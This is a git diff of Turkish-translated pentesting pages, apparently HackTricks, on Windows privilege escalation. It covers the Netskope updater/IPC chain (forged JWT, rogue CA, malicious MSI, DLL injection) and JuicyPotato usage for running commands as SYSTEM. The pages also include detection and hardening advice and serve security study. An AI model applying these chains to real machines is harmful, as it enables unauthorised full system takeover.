oluşturulmuş araç (doğru çalışması için accesschk'e ihtiyaç yoktur, ancak kullanabilir). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Bu gönderiye dayanarak oluşturulmuş araç (accesschk gerektirmeden çalışır ama kullanabilir). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okuyup çalışacak exploitleri önerir (yerel python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okuyup çalışacak exploitleri önerir (yerel python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** çıktısını okuyup çalışan exploit önerir (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** çıktısını okuyup çalışan exploit önerir (local python) **Meterpreter** -multi/recon/local_exploit_suggestor_ +_multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü ile derlemeniz gerekir ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurban makinadaki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([buna bakın](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Hedef host'taki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 87dcb997c..59de950ed 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) +# Kurumsal Otomatik Güncelleyicilerin ve Ayrıcalıklı IPC'nin Kötüye Kullanımı (ör. Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -Bu sayfa, düşük sürtünmeli bir IPC yüzeyi ve ayrıcalıklı bir update akışı açığa çıkaran kurumsal endpoint agentları ve updateler içinde bulunan Windows local privilege escalation zincirleri sınıfını genelleştirir. Temsilî bir örnek, düşük ayrıcalıklı bir kullanıcının enrollment'ı bir saldırgan kontrolündeki sunucuya zorlayabildiği ve ardından SYSTEM servisinin kurduğu kötü amaçlı bir MSI teslim edebildiği Netskope Client for Windows < R129 (CVE-2025-0309)′dır. +Bu sayfa, düşük sürtünmeli bir IPC yüzeyi ve ayrıcalıklı bir güncelleme akışı açığa çıkaran kurumsal endpoint ajanlarında ve updaters'larda bulunan Windows local privilege escalation zincirlerinin bir sınıfını genelleştirir. Temsili bir örnek, düşük ayrıcalıklı bir kullanıcının kaydı saldırgan kontrolündeki bir sunucuya zorlayabileceği ve ardından SYSTEM servisi tarafından kurulacak kötü niyetli bir MSI teslim edebileceği Netskope Client for Windows < R129 (CVE-2025-0309) durumudur. -Yeniden kullanabileceğiniz ana fikirler: -- Bir privileged servisinin localhost IPC'sini, re‑enrollment veya yeniden yapılandırmayı saldırgan sunucuya zorlamak için kötüye kullanın. -- Vendor’ın update endpointlerini implemente edin, rogue Trusted Root CA teslim edin ve updater'ı kötü amaçlı, “signed” pakete yönlendirin. -- Zayıf signer kontrollerinden (CN allow‑lists), opsiyonel digest flag'lerden ve gevşek MSI properties'den kaçının. -- IPC “encrypted” ise, registry'de saklanan world‑readable makine tanımlayıcılarından key/IV türetin. -- Servis çağıranları image path/process name ile sınırlandırıyorsa, allow‑listed bir process'e inject edin veya bir tane suspended olarak spawn edip DLL'inizi minimal bir thread‑context patch ile bootstrap edin. +Benzer ürünlere karşı tekrar kullanabileceğiniz temel fikirler: +- Ayrıcalıklı bir servisin localhost IPC'sini, yeniden kayıt veya yeniden yapılandırmayı saldırgan sunucuya zorlamak için kötüye kullanın. +- Vendor’ın update endpoint'lerini uygulayın, kötü niyetli bir Trusted Root CA teslim edin ve updater'ı kötü niyetli, “signed” bir pakete yönlendirin. +- Zayıf signer kontrollerinden (CN allow‑lists), isteğe bağlı digest bayraklarından ve gevşek MSI özelliklerinden kaçının. +- Eğer IPC “encrypted” ise, key/IV'yi registry'de saklanan ve herkesin okuyabildiği makine tanımlayıcılarından türetin. +- Servis çağıranları image path/process name ile kısıtlıyorsa, allow‑listed bir sürece inject edin veya bir tane suspended olarak spawn edip minimal bir thread‑context patch ile DLL'inizi bootstrap edin. --- -## 1) Forcing enrollment to an attacker server via localhost IPC +## 1) localhost IPC üzerinden saldırgan sunucuya kayıt zorlamak -Birçok agent, SYSTEM servisine localhost TCP üzerinden JSON konuşan bir user‑mode UI process ile gelir. +Birçok ajan, JSON kullanarak localhost TCP üzerinden bir SYSTEM servisiyle konuşan user‑mode bir UI process ile gelir. -Netskope'de gözlemlendi: +Netskope'ta gözlemlendi: - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN -Exploit flow: -1) Backend host'u (ör. AddonUrl) kontrol eden claim'lere sahip bir JWT enrollment token'ı craft edin. Alg olarak alg=None kullanın, böylece imza gerekmez. -2) JWT ve tenant adı ile provisioning komutunu çağıran IPC mesajını gönderin: +Exploit akışı: +1) Backend host'u kontrol eden claim'lere (ör. AddonUrl) sahip bir JWT enrollment token oluşturun. alg=None kullanın böylece imza gerekmeyecektir. +2) JWT'niz ve tenant adı ile provisioning komutunu çağıran IPC mesajını gönderin: ```json { "148": { @@ -31,88 +31,86 @@ Exploit flow: } } ``` -3) Servis, enrollment/config için sahte sunucunuza istek göndermeye başlar, ör.: +3) Servis, enrollment/config için sahte sunucunuza istek göndermeye başlar, örneğin: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Notlar: -- Eğer caller verification path/name‑based ise, isteği allow‑listed vendor binary'den başlatın (see §4). +- Eğer çağıran doğrulaması path/name‑bazlıysa, isteği allow‑listed bir vendor binary'den başlatın (bkz. §4). --- ## 2) Hijacking the update channel to run code as SYSTEM -İstemci sunucunuzla iletişim kurduktan sonra, beklenen endpoint'leri uygulayın ve onu saldırgan MSI'ye yönlendirin. Tipik sıra: +İstemci sunucunuzla iletişim kurduktan sonra, beklenen endpoints'leri uygulayın ve onu saldırgan MSI'sine yönlendirin. Tipik sıralama: -1) /v2/config/org/clientconfig → Çok kısa bir güncelleme aralığı içeren JSON konfigürasyonu döndürün, örn.: +1) /v2/config/org/clientconfig → JSON konfigürasyonunu çok kısa bir güncelleme aralığıyla döndürün, örneğin: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Bir PEM CA sertifikası döndürür. Servis bunu Local Machine Trusted Root store into yükler. +2) /config/ca/cert → Bir PEM CA sertifikası döndürür. Servis bunu Local Machine Trusted Root deposuna yükler. 3) /v2/checkupdate → Zararlı bir MSI'ya ve sahte bir sürüme işaret eden metadata sağlar. -Bypassing common checks seen in the wild: -- Signer CN allow‑list: servis sadece Subject CN'nin “netSkope Inc” veya “Netskope, Inc.” olup olmadığını kontrol ediyor olabilir. Sizin sahte CA'nız bu CN ile bir leaf verebilir ve MSI'yı imzalayabilir. +Gerçek dünyada görülen yaygın kontrollerin atlatılması: +- Signer CN allow‑list: servis yalnızca Subject CN'nin “netSkope Inc” veya “Netskope, Inc.” olup olmadığını kontrol edebilir. Kötü niyetli CA'nız bu CN ile bir leaf sertifikası verebilir ve MSI'yı imzalayabilir. - CERT_DIGEST property: CERT_DIGEST adlı zararsız bir MSI özelliği ekleyin. Kurulum sırasında uygulanmıyor. -- Optional digest enforcement: config flag (ör. check_msi_digest=false) ekstra kriptografik doğrulamayı devre dışı bırakır. +- Optional digest enforcement: config bayrağı (ör., check_msi_digest=false) ek kriptografik doğrulamayı devre dışı bırakır. -Sonuç: SYSTEM servisi MSI'nızı -C:\ProgramData\Netskope\stAgent\data\*.msi -konumundan kurar ve NT AUTHORITY\SYSTEM olarak rastgele kod çalıştırır. +Sonuç: SYSTEM servisi MSI'nızı C:\ProgramData\Netskope\stAgent\data\*.msi konumundan kurar ve NT AUTHORITY\SYSTEM olarak rastgele kod çalıştırır. --- ## 3) Forging encrypted IPC requests (when present) -R127'den itibaren, Netskope IPC JSON'u Base64 benzeri görünen encryptData alanına sarmıştı. Tersine mühendislik AES ve anahtar/IV'in herhangi bir kullanıcı tarafından okunabilen registry değerlerinden türetildiğini gösterdi: +R127'den itibaren, Netskope IPC JSON'u Base64 görünen encryptData alanına sardı. Tersine mühendislik, AES'in key/IV'nin herhangi bir kullanıcı tarafından okunabilen registry değerlerinden türetildiğini gösterdi: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Saldırganlar şifrelemeyi yeniden üretebilir ve standart bir kullanıcıdan geçerli şifreli komutlar gönderebilir. Genel ipucu: bir agent aniden IPC'sini “şifreliyorsa”, HKLM altında device ID'ler, product GUID'leri, install ID'ler gibi materyallere bakın. +Saldırganlar şifrelemeyi çoğaltıp normal bir kullanıcıdan geçerli şifreli komutlar gönderebilir. Genel ipucu: bir agent aniden “encrypts” its IPC ise, malzeme olarak HKLM altında device ID'leri, product GUID'leri, install ID'leri arayın. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Bazı servisler TCP bağlantısının PID'sini çözerek eş tarafı authenticate etmeye çalışır ve image path/name'i Program Files altında bulunan izinli vendor ikili dosyalarla (ör. stagentui.exe, bwansvc.exe, epdlp.exe) karşılaştırır. +Bazı servisler TCP bağlantısının PID'sini çözerek eş tarafı doğrulamaya çalışır ve image path/name'i Program Files altında izin listesinde olan vendor binary'lerle karşılaştırır (örn., stagentui.exe, bwansvc.exe, epdlp.exe). -İki pratik bypass: -- izinli bir süreçe (ör. nsdiag.exe) DLL injection yapıp IPC'yi içinden proxy'leyin. -- izinli bir ikiliyi suspended olarak spawn edin ve CreateRemoteThread kullanmadan proxy DLL'inizi bootstrap ederek driver‑enforced tamper kurallarını sağlayın (bkz §5). +İki pratik atlatma yöntemi: +- Allow‑list'lenmiş bir sürece (örn. nsdiag.exe) DLL injection yapıp onun içinden IPC'yi proxy'lemek. +- Izin listesinde olan bir binary'yi suspended olarak başlatıp CreateRemoteThread kullanmadan proxy DLL'inizi bootstrap ederek driver tarafından uygulanan tahrif kurallarını karşılamak (bkz. §5). --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -Ürünler genelde protected süreçlere ait handle'lardan tehlikeli hakları temizlemek için bir minifilter/OB callbacks driver ile gelir (ör. Stadrv): +Ürünler genellikle korumalı süreçlerin handle'larından tehlikeli hakları kaldırmak için minifilter/OB callbacks içeren bir driver (örn. Stadrv) ile gelir: - Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME haklarını kaldırır -- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE ile sınırlı tutar +- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE ile sınırlar Bu kısıtlamalara saygı gösteren güvenilir bir user‑mode loader: -1) Vendor ikili dosyasını CREATE_SUSPENDED ile CreateProcess edin. -2) Hâlâ almanıza izin verilen handle'ları edinin: process için PROCESS_VM_WRITE | PROCESS_VM_OPERATION ve bir thread handle'ı için THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (veya bilinen bir RIP'te kodu patchliyorsanız sadece THREAD_RESUME). -3) ntdll!NtContinue (veya başka erken, garantiyle map edilmiş thunk) üzerine küçük bir stub yazın; bu stub DLL yolunuzda LoadLibraryW çağırıp sonra geri zıplasın. -4) ResumeThread ile stub'unuzun in‑process tetiklenmesini sağlayın ve DLL'inizi yükleyin. +1) Vendor binary için CREATE_SUSPENDED ile CreateProcess çağrısı. +2) Hâlâ elde edebildiğiniz handle'ları alın: process üzerinde PROCESS_VM_WRITE | PROCESS_VM_OPERATION ve bir thread handle'ı için THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (veya kodu bilinen bir RIP'te patchliyorsanız sadece THREAD_RESUME). +3) ntdll!NtContinue (veya başka erken, garantili‑mapped thunk) üzerine, DLL yolunuzda LoadLibraryW çağıran ve sonra geri atlayan küçük bir stub yazın. +4) ResumeThread ile stub'unuzun süreç içinde tetiklenmesini sağlayın ve DLL'inizi yükleyin. -Zaten korunmuş bir süreç üzerinde PROCESS_CREATE_THREAD veya PROCESS_SUSPEND_RESUME kullanmadığınız için (süreci siz oluşturdunuz), driver politikası sağlanmış olur. +Zaten korumalı bir süreç üzerinde PROCESS_CREATE_THREAD veya PROCESS_SUSPEND_RESUME kullanmadığınız için (süreci siz oluşturduğunuzdan), driver politikası sağlanmış olur. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) sahte CA, zararlı MSI imzalama sürecini otomatikleştirir ve gerekli endpoint'leri sunar: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope, isteğe bağlı olarak AES‑şifreli olabilen rastgele IPC mesajları üreten ve izinli bir ikili üzerinden kökenlenmesi için suspended‑process injection içeren özel bir IPC client/exploit'tir. +- NachoVPN (Netskope plugin) kötü niyetli bir CA, zararlı MSI imzalama ve gereken endpoint'leri otomatikleştirir: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope, rastgele (isteğe bağlı olarak AES‑encrypted) IPC mesajları oluşturan ve izin listesinde olan bir binary'den başlayacak şekilde suspended‑process injection içeren özel bir IPC client'tır. --- ## 7) Detection opportunities (blue team) -- Local Machine Trusted Root'a eklemeleri izleyin. Sysmon + registry‑mod eventing (bkz SpecterOps guidance) iyi çalışır. -- Ajan servisi tarafından C:\ProgramData\\\data\*.msi gibi yollarından başlatılan MSI çalıştırmalarını işaretleyin. -- Beklenmeyen enrollment host/tenant'lar için ajan loglarını inceleyin, örn: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant anomalilerine ve provisioning msg 148'e bakın. -- Beklenen imzalı ikililer olmayan veya sıra dışı child process tree'lerinden gelen localhost IPC client'ları için alarm oluşturun. +- Local Machine Trusted Root'a eklemeleri izleyin. Sysmon + registry‑mod eventing (bkz. SpecterOps rehberliği) iyi çalışır. +- Agent servisinin C:\ProgramData\\\data\*.msi gibi yollarından başlattığı MSI yürütmelerini işaretleyin. +- Beklenmeyen enrollment hostları/tenant'lar için agent log'larını gözden geçirin, örn.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant anomalilerine ve provisioning msg 148'e bakın. +- Beklenen imzalı binary'ler olmayan veya sıra dışı child process ağaçlarından kaynaklanan localhost IPC istemcileri için alarm oluşturun. --- ## Hardening tips for vendors -- Enrollment/update host'larını sıkı bir allow‑list'e bağlayın; client code içinde güvenilmeyen domainleri reddedin. -- IPC peer'lerini image path/name kontrolleri yerine OS primitifleriyle authenticate edin (ALPC security, named‑pipe SIDs). -- Gizli materyalleri world‑readable HKLM'de tutmayın; eğer IPC şifrelenmek zorundaysa anahtarları protected secret'lardan türetin veya authenticated kanallarda müzakere edin. -- Updater'ı bir supply‑chain yüzeyi olarak değerlendirin: kontrol ettiğiniz güvenilir bir CA'ya tam zincir gerektirin, paket imzalarını pinned key'lere karşı doğrulayın ve config'te doğrulama devre dışıysa kapatın (fail closed). +- Enrollment/update hostlarını sıkı bir allow‑list'e bağlayın; clientcode içinde güvenilmeyen domainleri reddedin. +- IPC eşlerini image path/name kontrolleri yerine OS primitive'ları ile doğrulayın (ALPC security, named‑pipe SIDs). +- Gizli materyali world‑readable HKLM'den uzak tutun; IPC şifrelenmesi gerekiyorsa anahtarları korunmuş sırlar üzerinden türetin veya kimlik doğrulanmış kanallar üzerinden pazarlık (negotiate) yapın. +- Updater'ı bir supply‑chain yüzeyi olarak ele alın: kontrolünü elinizde tuttuğunuz güvenilen bir CA'ya tam zincir gerektirin, paket imzalarını pinned anahtarlar ile doğrulayın ve config'te doğrulama devre dışıysa kapatın (fail closed). ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 5f40e8409..21f1f9e96 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,60 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato artık eskidir. Genel olarak Windows 10 1803 / Windows Server 2016'ya kadar olan Windows sürümlerinde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrasında yaptığı sertleştirmeler orijinal tekniği bozdu. Bu build'ler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato ve benzeri modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın. +> [!WARNING] > JuicyPotato eski bir araçtır. Genellikle Windows 10 1803 / Windows Server 2016'ya kadar olan sürümlerde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrası için getirdiği değişiklikler orijinal tekniği bozdu. Bu derlemeler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato gibi modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (yüksek ayrıcalıkları kötüye kullanma) -_A RottenPotatoNG'in biraz tatlandırılmış versiyonu_, biraz juice ile, yani **Windows Service Accounts'dan NT AUTHORITY\SYSTEM'e başka bir Local Privilege Escalation aracı** +_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### juicypotato'ı şu adresten indirebilirsiniz [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Compatibility quick notes +### Uyumluluk kısa notlar -- Mevcut bağlam SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege'e sahipse Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır. -- Windows 10 1809 / Windows Server 2019 ve sonrasında Microsoft'un sertleştirmeleri nedeniyle kırıldı. Bu build'ler için yukarıda bağlantısı verilen alternatifleri tercih edin. +- Geçerli bağlamda SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege olduğunda Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır. +- Windows 10 1809 / Windows Server 2019 ve sonrası için Microsoft'un sertleştirmesi tarafından bozulmuştur. Bu sürümler için yukarıda bağlantılı alternatifleri tercih edin. -### Summary +### Özet [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve [varyantları](https://github.com/decoder-it/lonelypotato) `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinde MiTM dinleyicisi olarak `127.0.0.1:6666` kullanan ayrıcalık yükseltme zincirini kullanır ve SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve 6666 portunun kullanılmış olduğu bir kurulum bulduk. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) ayrıcalık yükseltme zincirini [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinde 127.0.0.1:6666 adresinde MiTM dinleyicisi olması ve sizin `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olmanız durumunda kullanır. Bir Windows derleme incelemesi sırasında `BITS` kasıtlı olarak devre dışı bırakılmış ve 6666 portu kullanımda bulunduğu bir yapılandırma bulduk. -RottenPotatoNG'yi silahlandırmaya karar verdik: **Juicy Potato'a merhaba deyin**. +RottenPotatoNG'yi silahlandırmaya karar verdik: **Say hello to Juicy Potato**. -> Teori için bkz. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) ve bağlantı zincirini takip edin. +> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. -BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bu sunucuların sadece şunlara ihtiyacı var: +BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece şunlara sahip olması gerekiyor: -1. mevcut kullanıcı tarafından örneklenebilir olmak; genellikle impersonation ayrıcalıklarına sahip bir "service user" -2. IMarshal arayüzünü uygulamak +1. mevcut kullanıcı tarafından örneklendirilebilmeli; genelde impersonation privileges'e sahip bir “service user” +2. `IMarshal` arabirimini uygulamak 3. yükseltilmiş bir kullanıcı olarak çalışmak (SYSTEM, Administrator, …) -Biraz test yaptıktan sonra çeşitli Windows sürümlerinde geniş ve ilginç bir [CLSID listesi](http://ohpe.it/juicy-potato/CLSID/) elde edip test ettik. +Biraz test sonrası birkaç Windows sürümünde [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) içeren kapsamlı bir liste elde ettik ve test ettik. ### Juicy details -JuicyPotato size şunları sağlar: +JuicyPotato size şunları yapma imkanı verir: -- **Target CLSID** _istediğiniz herhangi bir CLSID'i seçin._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz._ -- **COM Listening port** _tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled sabit 6666 yerine)_ +- **Target CLSID** _istediğiniz herhangi bir CLSID'i seçin._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi burada bulabilirsiniz._ +- **COM Listening port** _tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled hardcoded 6666 yerine)_ - **COM Listening IP address** _sunucuyu herhangi bir IP'ye bağlayın_ - **Process creation mode** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şu seçeneklerden birini seçebilirsiniz:_ -- `CreateProcessWithToken` (needs `SeImpersonate`) -- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) -- `both` -- **Process to launch** _sömürme başarılı olursa bir executable veya script başlatın_ -- **Process Argument** _başlatılan sürecin argümanlarını özelleştirin_ -- **RPC Server address** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_ -- **RPC Server port** _harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve firewall `135` portunu engelliyorsa faydalıdır…_ -- **TEST mode** _başlıca test amaçlı, örn. CLSID'leri test etmek için. DCOM'u oluşturur ve token kullanıcısını yazdırır. Test için bkz._ [_here for testing_](http://ohpe.it/juicy-potato/Test/) + - `CreateProcessWithToken` (needs `SeImpersonate`) + - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) + - `both` +- **Process to launch** _sömürme başarılı olursa bir yürütülebilir dosya veya betik başlatın_ +- **Process Argument** _başlatılan prosesin argümanlarını özelleştirin_ +- **RPC Server address** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulayabilirsiniz_ +- **RPC Server port** _harici bir sunucuya kimlik doğrulamak istiyor ve firewall `135` portunu engelliyorsa faydalıdır…_ +- **TEST mode** _çoğunlukla test amaçlı, ör. CLSID'leri test etmek için. DCOM'u oluşturur ve token sahibinin kullanıcı bilgisini yazdırır. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) -### Usage +### Kullanım ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -72,30 +72,30 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Final thoughts +### Son düşünceler -[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman siz **SYSTEM**'siniz. +Kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz. -Bu COM sunucularının tümünün kötüye kullanılmasını önlemek neredeyse imkânsız. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak. +Tüm bu COM Servers'ın suistimalini engellemek neredeyse imkansız. Bu nesnelerin izinlerini `DCOMCNFG` ile değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak. -Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak bu exploit'i kesinlikle engelleyecektir ama altında yatan işletim sistemi üzerinde ciddi etkileri olabilir. +Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu exploit'i engeller ama alttaki OS üzerinde ciddi etkileri olabilir. -From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +Kaynak: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) -JuicyPotatoNG, modern Windows'ta JuicyPotato tarzı bir yerel ayrıcalık yükseltmesini şu öğeleri birleştirerek yeniden sunar: -- Seçilen bir portta yerel bir RPC sunucusuna DCOM OXID çözümlemesi, eski sabit kodlanmış 127.0.0.1:6666 listener'ından kaçınarak. -- Gelen SYSTEM kimlik doğrulamasını yakalayıp taklit etmek için bir SSPI hook'u; RpcImpersonateClient gerektirmeden çalışır ve bu aynı zamanda yalnızca SeAssignPrimaryTokenPrivilege mevcut olduğunda CreateProcessAsUser'i mümkün kılar. -- DCOM aktivasyon kısıtlamalarını karşılamak için hileler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedef alırken önceki INTERACTIVE-group gereksinimi). +JuicyPotatoNG, modern Windows üzerinde JuicyPotato-style local privilege escalation'ı şu öğeleri birleştirerek yeniden tanıtıyor: +- DCOM OXID resolution'ı seçilen bir portta yerel bir RPC server'a yönlendirerek, eski hardcoded 127.0.0.1:6666 dinleyicisinden kaçınma. +- Giriş yapan SYSTEM kimlik doğrulamasını yakalamak ve taklit etmek için bir SSPI hook; RpcImpersonateClient gerektirmeden çalışır, bu aynı zamanda sadece SeAssignPrimaryTokenPrivilege mevcutken CreateProcessAsUser'ı mümkün kılar. +- DCOM aktivasyon kısıtlamalarını karşılamak için taktikler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedeflerken önceki INTERACTIVE-group gereksinimi). -Önemli notlar (sürümler arasında değişen davranış): -- September 2022: İlk teknik, desteklenen Windows 10/11 ve Server hedeflerinde “INTERACTIVE trick” kullanarak çalıştı. -- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. +Önemli notlar (sürümler arasında değişen davranışlar): +- Eylül 2022: İlk teknik, “INTERACTIVE trick”i kullanarak desteklenen Windows 10/11 ve Server hedeflerinde çalışıyordu. +- Ocak 2023 yazar güncellemesi: Microsoft daha sonra INTERACTIVE trick'i engelledi. Farklı bir CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) exploitation'ı geri getiriyor ancak gönderilerine göre yalnızca Windows 11 / Server 2022'de. -Basic usage (more flags in the help): +Temel kullanım (yardımda daha fazla bayrak var): ``` JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # Useful helpers: @@ -103,11 +103,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Eğer hedefiniz klasik JuicyPotato'un yamalandığı Windows 10 1809 / Server 2019 ise, üstte bağlantısı verilen alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, vb.). NG, build ve servis durumuna bağlı olarak değişkenlik gösterebilir. +Eğer hedefiniz klasik JuicyPotato'nun yamalandığı Windows 10 1809 / Server 2019 ise, en üstte bağlantılı alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG, build ve servis durumuna göre 